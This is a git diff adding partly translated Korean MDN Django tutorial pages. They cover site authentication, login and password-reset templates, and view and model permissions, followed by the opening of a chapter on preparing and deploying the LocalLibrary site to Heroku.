Note: 어떤 코드도 사용하지 않으셔도 되지만, 아마 스스로 원할 가능성이 높아요. 더 쉽게 해주거든요. 만약 user model을 바꾸고자 한다면, form을 다루는 코드를 바꾸게 될 가능성이 아주 높아요. (앞으로 나올 주제에요!) 그렇다고 하더라도, stock view 함수들은 사용할 수 있어야 합니다.

+
+ +
+

Note: 이 경우에, catalog application에 URL과 템플릿을 포함해서 인authentication page들을 넣는게 합리적입니다. 그러나 많은 application들을 가지고 있다면, 공통적으로 로그인 해야하는 것을 분리하고 사이트 전체에서 로그인하는 것을 가능하게끔하는 게 좋을겁니다. 이게 우리가 여기서 볼려고하는 것이죠!

+
+ +

Project URLs

+ +

 (locallibrary/locallibrary/urls.py) 파일에 다음 코드를 추가해주세요:

+ +
#Add Django site authentication urls (for login, logout, password management)
+urlpatterns += [
+    path('accounts/', include('django.contrib.auth.urls')),
+]
+
+ +

이 URL( http://127.0.0.1:8000/accounts/)로 접속하세요.  URL ('/'의 연결에 주의하세요!) 그러면 장고는 이 URL을 찾을 수 없기 때문에 에러메세지를 보여줄겁니다. 그리고 그 URL들을 어디에서 찾았는지 시도했던 모든 리스트들도 보여줍니다. 이것으로부터 당신은 예를들면, 어떤 URL들이 작동되는지 볼 수 있습니다.

+ +
+

Note: Using the above method adds the following URLs with names in square brackets, which can be used to reverse the URL mappings. You don't have to implement anything else — the above URL mapping automatically maps the below mentioned URLs.

+
+ +
+
accounts/ login/ [name='login']
+accounts/ logout/ [name='logout']
+accounts/ password_change/ [name='password_change']
+accounts/ password_change/done/ [name='password_change_done']
+accounts/ password_reset/ [name='password_reset']
+accounts/ password_reset/done/ [name='password_reset_done']
+accounts/ reset/<uidb64>/<token>/ [name='password_reset_confirm']
+accounts/ reset/done/ [name='password_reset_complete']
+
+ +

Now try to navigate to the login URL (http://127.0.0.1:8000/accounts/login/). This will fail again, but with an error that tells you that we're missing the required template (registration/login.html) on the template search path. You'll see the following lines listed in the yellow section up the top:

+ +
Exception Type:    TemplateDoesNotExist
+Exception Value:    registration/login.html
+ +

The next step is to create a registration directory on the search path and then add the login.html file.

+ +

Template directory

+ +

The URLs (and implicitly views) that we just added expect to find their associated templates in a directory /registration/ somewhere in the templates search path.

+ +

For this site, we'll put our HTML pages in the templates/registration/ directory. This directory should be in your project root directory, i.e the same directory as the catalog and locallibrary folders). Please create these folders now.

+ +
+

Note: Your folder structure should now look like the below:
+ locallibrary (Django project folder)
+    |_catalog
+    |_locallibrary
+    |_templates (new)
+                 |_registration

+
+ +

To make these directories visible to the template loader (i.e. to put this directory in the template search path) open the project settings (/locallibrary/locallibrary/settings.py), and update the TEMPLATES section's 'DIRS' line as shown.

+ +
TEMPLATES = [
+    {
+        ...
+        'DIRS': ['./templates',],
+        'APP_DIRS': True,
+        ...
+
+ +

Login template

+ +
+

Important: The authentication templates provided in this article are a very basic/slightly modified version of the Django demonstration login templates. You may need to customise them for your own use!

+
+ +

Create a new HTML file called /locallibrary/templates/registration/login.html. give it the following contents:

+ +
{% extends "base_generic.html" %}
+
+{% block content %}
+
+{% if form.errors %}
+  <p>Your username and password didn't match. Please try again.</p>
+{% endif %}
+
+{% if next %}
+  {% if user.is_authenticated %}
+    <p>Your account doesn't have access to this page. To proceed,
+    please login with an account that has access.</p>
+  {% else %}
+    <p>Please login to see this page.</p>
+  {% endif %}
+{% endif %}
+
+<form method="post" action="{% url 'login' %}">
+{% csrf_token %}
+
+<div>
+  <td>\{{ form.username.label_tag }}</td>
+  <td>\{{ form.username }}</td>
+</div>
+<div>
+  <td>\{{ form.password.label_tag }}</td>
+  <td>\{{ form.password }}</td>
+</div>
+
+<div>
+  <input type="submit" value="login" />
+  <input type="hidden" name="next" value="\{{ next }}" />
+</div>
+</form>
+
+{# Assumes you setup the password_reset view in your URLconf #}
+<p><a href="{% url 'password_reset' %}">Lost password?</a></p>
+
+{% endblock %}
+ +

This template shares some similarities with the ones we've seen before — it extends our base template and overrides the content block. The rest of the code is fairly standard form handling code, which we will discuss in a later tutorial. All you need to know for now is that this will display a form in which you can enter your username and password and that if you enter invalid values you will be prompted to enter correct values when the page refreshes.

+ +

Navigate back to the login page (http://127.0.0.1:8000/accounts/login/) once you've saved your template, and you should see something like this:

+ +

Library login page v1

+ +

If you try to log in that will succeed and you'll be redirected to another page (by default this will be http://127.0.0.1:8000/accounts/profile/). The problem here is that by default Django expects that after login you will want to be taken to a profile page, which may or may not be the case. As you haven't defined this page yet, you'll get another error!

+ +

Open the project settings (/locallibrary/locallibrary/settings.py) and add the text below to the bottom. Now when you log in you should be redirected to the site homepage by default.

+ +
# Redirect to home URL after login (Default redirects to /accounts/profile/)
+LOGIN_REDIRECT_URL = '/'
+
+ +

Logout template

+ +

If you navigate to the logout URL (http://127.0.0.1:8000/accounts/logout/) then you'll see some odd behaviour — your user will be logged out sure enough, but you'll be taken to the Admin logout page. That's not what you want, if only because the login link on that page takes you to the Admin login screen (and that is only available to users who have the is_staff permission).

+ +

Create and open /locallibrary/templates/registration/logged_out.html. Copy in the text below:

+ +
{% extends "base_generic.html" %}
+
+{% block content %}
+  <p>Logged out!</p>
+  <a href="{% url 'login'%}">Click here to login again.</a>
+{% endblock %}
+ +

This template is very simple. It just displays a message informing you that you have been logged out, and provides a link that you can press to go back to the login screen. If you go to the logout URL again you should see this page:

+ +

Library logout page v1

+ +

Password reset templates

+ +

The default password reset system uses email to send the user a reset link. You need to create forms to get the user's email address, send the email, allow them to enter a new password, and to note when the whole process is complete.

+ +

The following templates can be used as a starting point.

+ +

Password reset form

+ +

This is the form used to get the user's email address (for sending the password reset email). Create /locallibrary/templates/registration/password_reset_form.html, and give it the following contents:

+ +
{% extends "base_generic.html" %}
+
+{% block content %}
+  <form action="" method="post">
+  {% csrf_token %}
+  {% if form.email.errors %}
+    \{{ form.email.errors }}
+  {% endif %}
+      <p>\{{ form.email }}</p>
+    <input type="submit" class="btn btn-default btn-lg" value="Reset password">
+  </form>
+{% endblock %}
+
+ +

Password reset done

+ +

This form is displayed after your email address has been collected. Create /locallibrary/templates/registration/password_reset_done.html, and give it the following contents:

+ +
{% extends "base_generic.html" %}
+
+{% block content %}
+  <p>We've emailed you instructions for setting your password. If they haven't arrived in a few minutes, check your spam folder.</p>
+{% endblock %}
+
+ +

Password reset email

+ +

This template provides the text of the HTML email containing the reset link that we will send to users. Create /locallibrary/templates/registration/password_reset_email.html, and give it the following contents:

+ +
Someone asked for password reset for email \{{ email }}. Follow the link below:
+\{{ protocol}}://\{{ domain }}{% url 'password_reset_confirm' uidb64=uid token=token %}
+
+ +

Password reset confirm

+ +

This page is where you enter your new password after clicking the link in the password reset email. Create /locallibrary/templates/registration/password_reset_confirm.html, and give it the following contents:

+ +
{% extends "base_generic.html" %}
+
+{% block content %}
+    {% if validlink %}
+        <p>Please enter (and confirm) your new password.</p>
+        <form action="" method="post">
+        {% csrf_token %}
+            <table>
+                <tr>
+                    <td>\{{ form.new_password1.errors }}
+                        <label for="id_new_password1">New password:</label></td>
+                    <td>\{{ form.new_password1 }}</td>
+                </tr>
+                <tr>
+                    <td>\{{ form.new_password2.errors }}
+                        <label for="id_new_password2">Confirm password:</label></td>
+                    <td>\{{ form.new_password2 }}</td>
+                </tr>
+                <tr>
+                    <td></td>
+                    <td><input type="submit" value="Change my password" /></td>
+                </tr>
+            </table>
+        </form>
+    {% else %}
+        <h1>Password reset failed</h1>
+        <p>The password reset link was invalid, possibly because it has already been used. Please request a new password reset.</p>
+    {% endif %}
+{% endblock %}
+
+ +

Password reset complete

+ +

This is the last password-reset template, which is displayed to notify you when the password reset has succeeded. Create /locallibrary/templates/registration/password_reset_complete.html, and give it the following contents:

+ +
{% extends "base_generic.html" %}
+
+{% block content %}
+  <h1>The password has been changed!</h1>
+  <p><a href="{% url 'login' %}">log in again?</a></p>
+{% endblock %}
+ +

Testing the new authentication pages

+ +

Now that you've added the URL configuration and created all these templates, the authentication pages should now just work!

+ +

You can test the new authentication pages by attempting to log in and then logout your superuser account using these URLs:

+ + + +

You'll be able to test the password reset functionality from the link in the login page. Be aware that Django will only send reset emails to addresses (users) that are already stored in its database!

+ +
+

Note: The password reset system requires that your website supports email, which is beyond the scope of this article, so this part won't work yet. To allow testing, put the following line at the end of your settings.py file. This logs any emails sent to the console (so you can copy the password reset link from the console).

+ +
EMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend'
+
+ +

For more information, see Sending email (Django docs).

+
+ +

authenticated users 테스트 하기

+ +

This section looks at what we can do to selectively control content the user sees based on whether they are logged in or not.

+ +

Testing in templates

+ +

당신은 템플릿에서 \{{ user }} 라는 템플릿 변수로 현재 로그인한 사용자에 대한 정보를 얻을 수 있습니다  (이것은 우리의 스켈레톤을 만들때 프로젝트에서 세팅했을 때 템플릿 컨텍스트의 기본 값으로 추가된 것입니다).

+ +

보통 처음으로 \{{ user.is_authenticated }} 라는 템플릿 변수를 통해서 당신은  사용자가 특정 내용을 볼 수 있는 지여부에 대해서 테스트하게 될 것입니다. 이를 시험하기 위해서, 우리는 사이트바에 로그인와 로그아웃 링크를 업데이트 할 것입니다.

+ +

Open the base template (/locallibrary/catalog/templates/base_generic.html) and copy the following text into the sidebar block, immediately before the endblock template tag.

+ +
  <ul class="sidebar-nav">
+
+    ...
+
+   {% if user.is_authenticated %}
+     <li>User: \{{ user.get_username }}</li>
+     <li><a href="{% url 'logout'%}?next=\{{request.path}}">Logout</a></li>
+   {% else %}
+     <li><a href="{% url 'login'%}?next=\{{request.path}}">Login</a></li>
+   {% endif %} 
+  </ul>
+ +

As you can see, we use if-else-endif template tags to conditionally display text based on whether \{{ user.is_authenticated }} is true. If the user is authenticated then we know that we have a valid user, so we call \{{ user.get_username }} to display their name.

+ +

We create the login and logout link URLs using the url template tag and the names of the respective URL configurations. Note also how we have appended ?next=\{{request.path}} to the end of the URLs. What this does is add a URL parameter next containing the address (URL) of the current page, to the end of the linked URL. After the user has successfully logged in/out, the views will use this "next" value to redirect the user back to the page where they first clicked the login/logout link.

+ +
+

Note: Try it out! If you're on the home page and you click Login/Logout in the sidebar, then after the operation completes you should end up back on the same page.

+
+ +

Testing in views

+ +

If you're using function-based views, the easiest way to restrict access to your functions is to apply the login_required decorator to your view function, as shown below. If the user is logged in then your view code will execute as normal. If the user is not logged in, this will redirect to the login URL defined in the project settings (settings.LOGIN_URL), passing the current absolute path as the next URL parameter. If the user succeeds in logging in then they will be returned back to this page, but this time authenticated.

+ +
from django.contrib.auth.decorators import login_required
+
+@login_required
+def my_view(request):
+    ...
+ +
+

Note: You can do the same sort of thing manually by testing on request.user.is_authenticated, but the decorator is much more convenient!

+
+ +

Similarly, the easiest way to restrict access to logged-in users in your class-based views is to derive from LoginRequiredMixin. You need to declare this mixin first in the superclass list, before the main view class.

+ +
from django.contrib.auth.mixins import LoginRequiredMixin
+
+class MyView(LoginRequiredMixin, View):
+    ...
+ +

This has exactly the same redirect behaviour as the login_required decorator. You can also specify an alternative location to redirect the user to if they are not authenticated (login_url), and a URL parameter name instead of "next" to insert the current absolute path (redirect_field_name).

+ +
class MyView(LoginRequiredMixin, View):
+    login_url = '/login/'
+    redirect_field_name = 'redirect_to'
+
+ +

For additional detail, check out the Django docs here.

+ +

Example — listing the current user's books

+ +

Now that we know how to restrict a page to a particular user, let's create a view of the books that the current user has borrowed.

+ +

Unfortunately, we don't yet have any way for users to borrow books! So before we can create the book list we'll first extend the BookInstance model to support the concept of borrowing and use the Django Admin application to loan a number of books to our test user.

+ +

Models

+ +

First, we're going to have to make it possible for users to have a BookInstance on loan (we already have a status and a due_back date, but we don't yet have any association between this model and a User. We'll create one using a ForeignKey (one-to-many) field. We also need an easy mechanism to test whether a loaned book is overdue.

+ +

Open catalog/models.py, and import the User model from django.contrib.auth.models (add this just below the previous import line at the top of the file, so User is available to subsequent code that makes use of it):

+ +
from django.contrib.auth.models import User
+
+ +

Next, add the borrower field to the BookInstance model:

+ +
borrower = models.ForeignKey(User, on_delete=models.SET_NULL, null=True, blank=True)
+
+ +

While we're here, let's add a property that we can call from our templates to tell if a particular book instance is overdue. While we could calculate this in the template itself, using a property as shown below will be much more efficient.

+ +

Add this somewhere near the top of the file:

+ +
from datetime import date
+ +

Now add the following property definition to the BookInstance class:

+ +
@property
+def is_overdue(self):
+    if self.due_back and date.today() > self.due_back:
+        return True
+    return False
+ +
+

Note: We first verify whether due_back is empty before making a comparison. An empty due_back field would cause Django to throw an error instead of showing the page: empty values are not comparable. This is not something we would want our users to experience!

+
+ +

Now that we've updated our models, we'll need to make fresh migrations on the project and then apply those migrations:

+ +
python3 manage.py makemigrations
+python3 manage.py migrate
+
+ +

Admin

+ +

Now open catalog/admin.py, and add the borrower field to the BookInstanceAdmin class in both the list_display and the fieldsets as shown below. This will make the field visible in the Admin section so that we can assign a User to a BookInstance when needed.

+ +
@admin.register(BookInstance)
+class BookInstanceAdmin(admin.ModelAdmin):
+    list_display = ('book', 'status', 'borrower', 'due_back', 'id')
+    list_filter = ('status', 'due_back')
+
+    fieldsets = (
+        (None, {
+            'fields': ('book','imprint', 'id')
+        }),
+        ('Availability', {
+            'fields': ('status', 'due_back','borrower')
+        }),
+    )
+ +

Loan a few books

+ +

Now that its possible to loan books to a specific user, go and loan out a number of BookInstance records. Set their borrowed field to your test user, make the status "On loan" and set due dates both in the future and the past.

+ +
+

Note: We won't spell the process out, as you already know how to use the Admin site!

+
+ +

On loan view

+ +

Now we'll add a view for getting the list of all books that have been loaned to the current user. We'll use the same generic class-based list view we're familiar with, but this time we'll also import and derive from LoginRequiredMixin, so that only a logged in user can call this view. We will also choose to declare a template_name, rather than using the default, because we may end up having a few different lists of BookInstance records, with different views and templates.

+ +

Add the following to catalog/views.py:

+ +
from django.contrib.auth.mixins import LoginRequiredMixin
+
+class LoanedBooksByUserListView(LoginRequiredMixin,generic.ListView):
+    """Generic class-based view listing books on loan to current user."""
+    model = BookInstance
+    template_name ='catalog/bookinstance_list_borrowed_user.html'
+    paginate_by = 10
+
+    def get_queryset(self):
+        return BookInstance.objects.filter(borrower=self.request.user).filter(status__exact='o').order_by('due_back')
+ +

In order to restrict our query to just the BookInstance objects for the current user, we re-implement get_queryset() as shown above. Note that "o" is the stored code for "on loan" and we order by the due_back date so that the oldest items are displayed first.

+ +

URL conf for on loan books

+ +

Now open /catalog/urls.py and add apath() pointing to the above view (you can just copy the text below to the end of the file).

+ +
urlpatterns += [
+    path('mybooks/', views.LoanedBooksByUserListView.as_view(), name='my-borrowed'),
+]
+ +

Template for on-loan books

+ +

Now, all we need to do for this page is add a template. First, create the template file /catalog/templates/catalog/bookinstance_list_borrowed_user.html and give it the following contents:

+ +
{% extends "base_generic.html" %}
+
+{% block content %}
+    <h1>Borrowed books</h1>
+
+    {% if bookinstance_list %}
+    <ul>
+
+      {% for bookinst in bookinstance_list %}
+      <li class="{% if bookinst.is_overdue %}text-danger{% endif %}">
+        <a href="{% url 'book-detail' bookinst.book.pk %}">\{{bookinst.book.title}}</a> (\{{ bookinst.due_back }})
+      </li>
+      {% endfor %}
+    </ul>
+
+    {% else %}
+      <p>There are no books borrowed.</p>
+    {% endif %}
+{% endblock %}
+ +

This template is very similar to those we've created previously for the Book and Author objects. The only thing "new" here is that we check the method we added in the model (bookinst.is_overdue) and use it to change the colour of overdue items.

+ +

When the development server is running, you should now be able to view the list for a logged in user in your browser at http://127.0.0.1:8000/catalog/mybooks/. Try this out with your user logged in and logged out (in the second case, you should be redirected to the login page).

+ +

Add the list to the sidebar

+ +

The very last step is to add a link for this new page into the sidebar. We'll put this in the same section where we display other information for the logged in user.

+ +

Open the base template (/locallibrary/catalog/templates/base_generic.html) and add the line in bold to the sidebar as shown.

+ +
 <ul class="sidebar-nav">
+   {% if user.is_authenticated %}
+   <li>User: \{{ user.get_username }}</li>
+   <li><a href="{% url 'my-borrowed' %}">My Borrowed</a></li>
+   <li><a href="{% url 'logout'%}?next=\{{request.path}}">Logout</a></li>
+   {% else %}
+   <li><a href="{% url 'login'%}?next=\{{request.path}}">Login</a></li>
+   {% endif %}
+ </ul>
+
+ +

What does it look like?

+ +

When any user is logged in, they'll see the My Borrowed link in the sidebar, and the list of books displayed as below (the first book has no due date, which is a bug we hope to fix in a later tutorial!).

+ +

Library - borrowed books by user

+ +

허가

+ +

Permissions 는 모델과 연관되어 허가를 가진 유저에 의한 model instance 작업들을 정의하게 됩니다. 기본적으로 Django 자동적으로 add, change, 그리고 delete permissions 을 모든 모델에 제공하는데, 유저가 관리자 사이트를 통해서 (권한)허가를 가지고 연고나도니 작업들을 하게 합니다. 당신은 권한을 모델이나 특정 유저에게 부여하도록 정의할 수 있습니다. You can also change the permissions associated with different instances of the same model.

+ +

Testing on permissions in views and templates is then very similar for testing on the authentication status (and in fact, testing for a permission also tests for authentication).

+ +

Models

+ +

Defining permissions is done on the model "class Meta" section, using the permissions field. You can specify as many permissions as you need in a tuple, each permission itself being defined in a nested tuple containing the permission name and permission display value. For example, we might define a permission to allow a user to mark that a book has been returned as shown:

+ +
class BookInstance(models.Model):
+    ...
+    class Meta:
+        ...
+        permissions = (("can_mark_returned", "Set book as returned"),)   
+ +

We could then assign the permission to a "Librarian" group in the Admin site.

+ +

Open the catalog/models.py, and add the permission as shown above. You will need to re-run your migrations (call python3 manage.py makemigrations and python3 manage.py migrate) to update the database appropriately.

+ +

Templates

+ +

The current user's permissions are stored in a template variable called \{{ perms }}. You can check whether the current user has a particular permission using the specific variable name within the associated Django "app" — e.g. \{{ perms.catalog.can_mark_returned }} will be True if the user has this permission, and False otherwise. We typically test for the permission using the template {% if %} tag as shown:

+ +
{% if perms.catalog.can_mark_returned %}
+    <!-- We can mark a BookInstance as returned. -->
+    <!-- Perhaps add code to link to a "book return" view here. -->
+{% endif %}
+
+ +

Views

+ +

Permissions can be tested in function view using the permission_required decorator or in a class-based view using the PermissionRequiredMixin. The pattern and behaviour are the same as for login authentication, though of course, you might reasonably have to add multiple permissions.

+ +

Function view decorator:

+ +
from django.contrib.auth.decorators import permission_required
+
+@permission_required('catalog.can_mark_returned')
+@permission_required('catalog.can_edit')
+def my_view(request):
+    ...
+ +

A permission-required mixin for class-based views.

+ +
from django.contrib.auth.mixins import PermissionRequiredMixin
+
+class MyView(PermissionRequiredMixin, View):
+    permission_required = 'catalog.can_mark_returned'
+    # Or multiple permissions
+    permission_required = ('catalog.can_mark_returned', 'catalog.can_edit')
+    # Note that 'catalog.can_edit' is just an example
+    # the catalog application doesn't have such permission!
+ +

Example

+ +

We won't update the LocalLibrary here; perhaps in the next tutorial!

+ +

Challenge yourself

+ +

Earlier in this article, we showed you how to create a page for the current user listing the books that they have borrowed. The challenge now is to create a similar page that is only visible for librarians, that displays all books that have been borrowed, and which includes the name of each borrower.

+ +

You should be able to follow the same pattern as for the other view. The main difference is that you'll need to restrict the view to only librarians. You could do this based on whether the user is a staff member (function decorator: staff_member_required, template variable: user.is_staff) but we recommend that you instead use the can_mark_returned permission and PermissionRequiredMixin, as described in the previous section.

+ +
+

Important: Remember not to use your superuser for permissions based testing (permission checks always return true for superusers, even if a permission has not yet been defined!). Instead, create a librarian user, and add the required capability.

+
+ +

When you are finished, your page should look something like the screenshot below.

+ +

All borrowed books, restricted to librarian

+ + + +

Summary

+ +

Excellent work — you've now created a website that library members can log in into and view their own content and that librarians (with the correct permission) can use to view all loaned books and their borrowers. At the moment we're still just viewing content, but the same principles and techniques are used when you want to start modifying and adding data.

+ +

In our next article, we'll look at how you can use Django forms to collect user input, and then start modifying some of our stored data.

+ +

See also

+ + + +

{{PreviousMenuNext("Learn/Server-side/Django/Sessions", "Learn/Server-side/Django/Forms", "Learn/Server-side/Django")}}

+ + + +

In this module

+ + diff --git a/files/ko/learn/server-side/django/deployment/index.html b/files/ko/learn/server-side/django/deployment/index.html new file mode 100644 index 0000000000..9ea3f870e5 --- /dev/null +++ b/files/ko/learn/server-side/django/deployment/index.html @@ -0,0 +1,685 @@ +--- +title: 'Django 튜토리얼 파트 11: Django 웹사이트 공개하기' +slug: Learn/Server-side/Django/Deployment +tags: + - Django deployment + - django + - heroku + - whitenoise + - 웹 서버 + - 장고 + - 장고 배포 +translation_of: Learn/Server-side/Django/Deployment +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Server-side/Django/Testing", "Learn/Server-side/Django/web_application_security", "Learn/Server-side/Django")}}
+ +

당신은 이제 놀라운 LocalLibrary 웹사이트를 (테스트도 마치고) 만들었으니, 도서관 스태프나 회원들이 인터넷을 통해 이용할 수 있도록 공개된 웹 서버에 설치하길 원할 것이다. 이번 장에서는 웹사이트를 배포할수 있는 호스트를 살펴보는 방법에 대한 개요와 사이트를 실제 운운영하기위해 필요한 것들에 대해 설명한다.

+ + + + + + + + + + + + +
사전학습:아래 파트를 포함하여 앞선 모든 튜토리얼 파트의 학습을 완료할 것.  Django 튜토리얼 파트 10: Django 웹 어플리케이션 테스트하기
학습목표:Django 앱을 공개 운영할 수 있는 네트워크상의 장소와 방법을 배우기.
+ +

개요

+ +

일단 사이트 개발이 완료되면( 혹은 공개 테스트를 시작할 정도로 "충분히" 완료되었다면 ) 개인 컴퓨터 환경보다는 좀더 공개되고 접근성이 있는 네트워크상의 장소가 필요할 것이다.

+ +

이제까지는, Django 개발용 웹 서버를 사용하여 사이트를 로컬 브라우저/네트워크 범위 내에서 공개하고,  암호를 포함한 개인정보및 디버깅정보가 노출되는  (보안이 부실한) 개발용 환경 설정으로 웹사이트를 실행하면서, 개발환경에서만 작업을 해왔다.  외부에서 웹사이트를 운영하기 전에 해야할 일은 다음과 같다:

+ + + +

이 튜토리얼은 호스팅사이트를 선택하기위한 몇가지 지침과 Django 앱을 공개하는데 대비하기 위해 필요한 사항에 대한 간단한 개요및 LocalLibrary 웹사이트를 Heroku 클라우드 호스팅 서비스 위에서 운영되도록 설치하는 방법에 대해 동작하는 예제를 제공한다.

+ +

운영환경 (Production envrionment) 이란?

+ +

운영환경은 외부공개를 위한 웹사이트를 운영하는 서버 컴퓨터로 부터 제공되는 환경이다. 운영환경은 다음 요소로 구성된다 :

+ + + +
+

주목할점: 운영환경의 설정에 따라 역방향 프록시(reverse proxy)나 로드 밸런서(load balancer)등이 추가될 수도 있다.

+
+ +

서버 컴퓨터는 빠른 인터넷으로 연결되어 당신의 사무실내에 위치할 수도 있지만, 보통 "클라우드 상에서" 사용하는것이 훨씬 더 흔한 방법이다. 이말은 실제로는 당신의 코드가 호스팅 업체의 데이터센터에 위치한 어떤 원격 컴퓨터에서(혹은 아마도 "가상환경의" 컴퓨터상에서) 실행된다는 것을 의미한다.  원격지 서버는 대개는 어느 정도 검증된 수준의 컴퓨터 자원(예를들면, CPU, 램, 저장 메모리 공간등)과 가격대별 인터넷 연결을 제공한다.

+ +

이런 종류의 원격 접속가능한 컴퓨터/네트워크 하드웨어를 IaaS ( Infrastructure as a Service) 라고 줄여 부른다. 많은 IaaS 업체들은 미리 설치된 특정 OS 환경에 대한 여러가지 옵션을 제공하는데 당신은 그 위에 운영환경에 필요한 것들을 설치해야 한다. 또 다른 업체는 장고와 웹서버등을 포함하여 완전히 갖추어진 환경을 선택할수 있도록 옵션을 제공하기도 한다.

+ +
+

주목할점: 미리 구성된 환경에서는 환경설정에 대한 부담을 덜 수 있어서 웹사이트 구성을 매우 쉽게할 수 있지만, 익숙하지 않은 서버환경이나 다른 콤포넌트 때문에, 혹은 구형 OS 버전 때문에 선택가능한 구성수단이 줄어들 수도 있다.  많은 경우에, 당신이 원하는 결과를 얻기 위해, 당신이 직접 필요한 콤포넌트를 설치하는 것이 낫다. 그러면 시스템 업그레이드가 필요한 경우에,  어떻게 시작해야 하는지 알아챌 수 있을 것이다 !

+
+ +

다른 호스팅 업체들은 Django를 플랫폼의 일부분으로 지원하는데 이런 업체를 PaaS( Platform as a Service)로 줄여 부른다. 이런 종류의 호스팅에서는 호스트 플랫폼이 (어플리케이션의 규모의 변화에 따라 조정해야하는 거의 모든 것을 포함하여)  대신 관리해주므로 운영환경(웹 서버, 어플리케이션 서버, 로드 밸런서등)에 대해 거의 고민할 필요가 없다. 이 경우, 다른 서버 기반환경에 신경쓸 필요없이, 웹 어플리케이션에만 집중할수 있기 때문에 웹사이트 배포가 엄청 쉽다.

+ +

어떤 개발자들은 PaaS에 비해 좀더 높은 자유도를 가진 IaaS를 선택하는 반면, 다른 개발자들은 관리부담이 덜하고 웹사이트 규모를 쉽게 조정할수 있는 PaaS를 선택할 것이다. 당신은 이제 막 개발을 시작했기에, PaaS에 웹사이트를 설정하는 것이 더 쉬울 것이다. 그리고 그것이 이 튜토리얼에서 우리가 공부할 내용이다.

+ +
+

한가지 팁: Python/Django 친화적인 호스팅 업체를 선정했다면, 웹서버,어플리케이션 서버, 역방향 프록시( 혹시 PaaS 업체를 선정했다면  별로 신경쓸 필요없는  내용임)의 여러가지 설정을 이용한 Django 웹사이트를 구성하는 방법에 대한 설명이 제공될 것이다. 예를 들면, 이곳 ( Digital Ocean Django community docs ) 에는 다양한 설정에 대한 단계적인 가이드가 있다.

+
+ +

호스팅 업체 선정하기

+ +

Django에 대한 지원이 활발하게 이루어지거나 Django가 잘 동작한다고 알려진  호스팅 업체는 약 100여곳이 있다. ( 꽤 광범위한 목록을 Djangofriendly hosts 에서 찾아볼 수 있다.) 이 업체들은 서로 다른 타입(IaaS, PaaS)이거나 서로 다른 가격대에 여러가지 수준의 컴퓨팅/네트워크 자원을 제공한다.

+ +

호스팅 업체를 선정할 때 고려해야할 몇가지는 다음과 같다:

+ + + +

당신이 개발을 시작했다면 좋은 소식은 "평가용", "개발자용"혹은 "취미개발용" 컴퓨터 환경을 "무료"로 제공하는 업체가 꽤 있다는 것이다. 이들은 항상 자원을 아주 제한적으로만 사용할 수 있고, 처음 신규 가입 기간이 지나 중지되지 않는지 주의를 기울여야 한다.  하지만, 트래픽이 낮은 사이트를 실제 운영환경에서 테스트 하기에 좋으며, 사이트가 좀더 바빠질 경우 더 많은 자원을 제공하는 유료환경으로 쉽게 이전할 수 있다.이런 종류의 환경으로 인기있는 곳은 Heroku, Python Anywhere, Amazon Web Services, Microsoft Azure 등등이다.

+ +

많은 업체가 좀더 쓸만한 수준의 컴퓨팅 파워와 제한사항을 완화한 "기본"계정을 가지고 있다. Digital Ocean 과 Python Anywhere 는  상대적으로 비용이 낮은( 1달에 5~10 USD 가격의) 기본 계정을 제공하는 인기있는 호스팅 업체의 대표적인 예이다.

+ +
+

주목할점: 사용가격이 유일한 선택기준이 아니라는 것을 명심하라. 당신의 웹사이트가 성공적이라면 사이트의 확장성이 가장 중요한 기준이 될것이다.

+
+ +

웹사이트에서 공개(publish)준비 하기

+ +

django-admin과 manage.py 도구로 생성된 Django 뼈대 웹사이트는 개발환경에 최적화 되어 설정되었다. 개발환경이 아닌 운영환경에서는 ( settings.py에 설정되어 있는 ) Django 프로젝트 설정의 많은 부분이, 보안상 혹은 성능상 이유로, 변경되어야 한다.

+ +
+

한가지 팁: 운영환경용으로 별도의 settings.py 파일을 유지하고 민감한 설정들은 별도의 파일이나 시스템의 환경변수에 저장하는  것이 일반적이다. 소스코드의 다른 부분은 공개된 저장소에 보관하더라도, 이 파일은 격리되어 보호되어야 한다. 

+
+ +

반드시 체크되어야 할 가장 중요한 설정은 다음과 같다 :

+ + + +

 SECRET_KEY 와 DEBUG 변수를, 이 변수들이 정의되어 있다면, 시스템의 환경 변수에서 읽어오도록  LocalLibrary 어플리케이션을 수정하자. 정의되어 있지 않다면 설정 파일의 디폴트 값을 사용하도록 한다.

+ +

/locallibrary/settings.py 파일을 열고, 기존의 SECRET_KEY 설정을 비활성화 하고 아래 코드에서 bold체로 보이는 부분을 추가한다. 개발 과정중에는 보통 key와 관련하여 환경변수가 설정되지 않으므로 초기값이 사용되고 있을것이다. ( 키가 노출되면 당신이 그 키를 운영환경에 사용하지는 않을것이므로 여기서 어떤키를 사용하는지는 중요하지 않다).

+ +
# SECURITY WARNING: keep the secret key used in production secret!
+# SECRET_KEY = 'cg#p$g+j9tax!#a3cup@1$8obt2_+&k3q+pmu)5%asj6yjpkag'
+import os
+SECRET_KEY = os.environ.get('DJANGO_SECRET_KEY', 'cg#p$g+j9tax!#a3cup@1$8obt2_+&k3q+pmu)5%asj6yjpkag')
+
+ +

그리고나서 기존의 DEBUG 설정을 주석처리 하고 신규 라인을 아래와 같이 추가 하라.

+ +
# SECURITY WARNING: don't run with debug turned on in production!
+# DEBUG = True
+DEBUG = bool( os.environ.get('DJANGO_DEBUG', True) )
+
+ +

DEBUG 의 초기값은 True 이지만, DJANGO_DEBUG 환경변수가 비어있는 문자열로 설정 되면 (즉, DJANGO_DEBUG='' 와 같이) False 로 설정될 것이다.

+ +
+

주목할 점DJANGO_DEBUG 환경변수를 "값을 가진 문자열"이나 "빈 문자열" 로 설정하기 보다, 그냥 True 나 False 로 (각각) 직접 설정할 수 있다면 이런 방식이 좀더 직관적으로 보일것이다. 하지만 불행히도 환경변수는 파이썬 문자열로 저장되며, False 로 평가받을수 있는 문자열은 "빈 문자열"이 유일하다.

+ +

역자주: os.environ.get의 사용법에 대해서는 이 링크를 참조 하라

+
+ +

변경해야할 설정의 전체 체크리스트는 배포 체크리스트 (장고 문서) 로 제공된다. 아래 터미널 명령으로도 몇몇 목록을 뽑을 수 있다:

+ +
python3 manage.py check --deploy
+
+ +

예제: LocalLibrary를 Heroku에 설치하기

+ +

이번 섹션에서는 Heroku PaaS 클라우드 에 LocalLibrary를 설치하는 방법에 대한 실제적인 예제를 제공한다.

+ +

왜 Heroku 인가?

+ +

